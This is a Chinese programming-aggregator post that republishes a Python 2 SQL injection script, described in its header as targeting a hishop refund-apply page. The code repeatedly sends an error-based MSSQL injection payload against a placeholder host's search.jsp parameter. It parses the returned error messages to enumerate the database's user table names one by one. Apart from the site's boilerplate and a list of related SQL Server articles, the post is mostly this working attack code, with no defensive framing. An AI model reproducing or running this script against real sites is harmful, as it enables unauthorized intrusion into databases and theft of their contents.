mssql-注入脚本
2021/6/5 19:24:32
本文主要是介绍mssql-注入脚本,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
#coding:utf-8 #Author:LSA #Description:hishop sqli for /user/UserRefundApply?OrderId= #Date:20190701 import sys import requests from bs4 import BeautifulSoup import re headers = { 'Cookie': '', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36' } global tables_name tables_name = "'XWCMFLOWACTION'" #print tables_name def brute_tables(url): for i in range(0,300): url = 'http://www.xxx.com/search/search.jsp?doctitle=100%27%20and%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=%27u%27%20and%20name%20not%20in%20(' + tables_name + '))%3E0--' print url rsp = requests.get(url,headers=headers) soup = BeautifulSoup(rsp.text,"lxml") title = soup.p.text print title table_name = re.findall(r"'(.*?)'",title) print table_name print table_name[0] global tables_name tables_name = tables_name + ',\'' + table_name[0] + '\'' print tables_name def main(url): brute_tables(url) if __name__ == '__main__': url = 'http://www.xxx.com/search/search.jsp?doctitle=100%27%20and%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=%27u%27%20and%20name%20not%20in%20(' + tables_name + '))%3E0--' main(url)
这篇关于mssql-注入脚本的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-01-08Docker下的SqlServer发布订阅启用
- 2023-06-05Docker安装MS SQL Server并使用Navicat远程连接
- 2023-05-25深入浅出 SQL Server CDC 数据同步
- 2023-05-12通过空间占用和执行计划了解SQL Server的行存储索引
- 2023-04-24以SQLserver为例的Dapper详细讲解
- 2022-11-30SQL server高级函数查询
- 2022-11-26SQL SERVER数据库服务器CPU不能全部利用原因分析
- 2022-11-21SQL Server 时间算差值/常用函数
- 2022-11-20调试Archery连接SQL Server提示驱动错误
- 2022-10-22SQL Server 完整、差异备份+完整、差异还原(详细讲解,规避错误)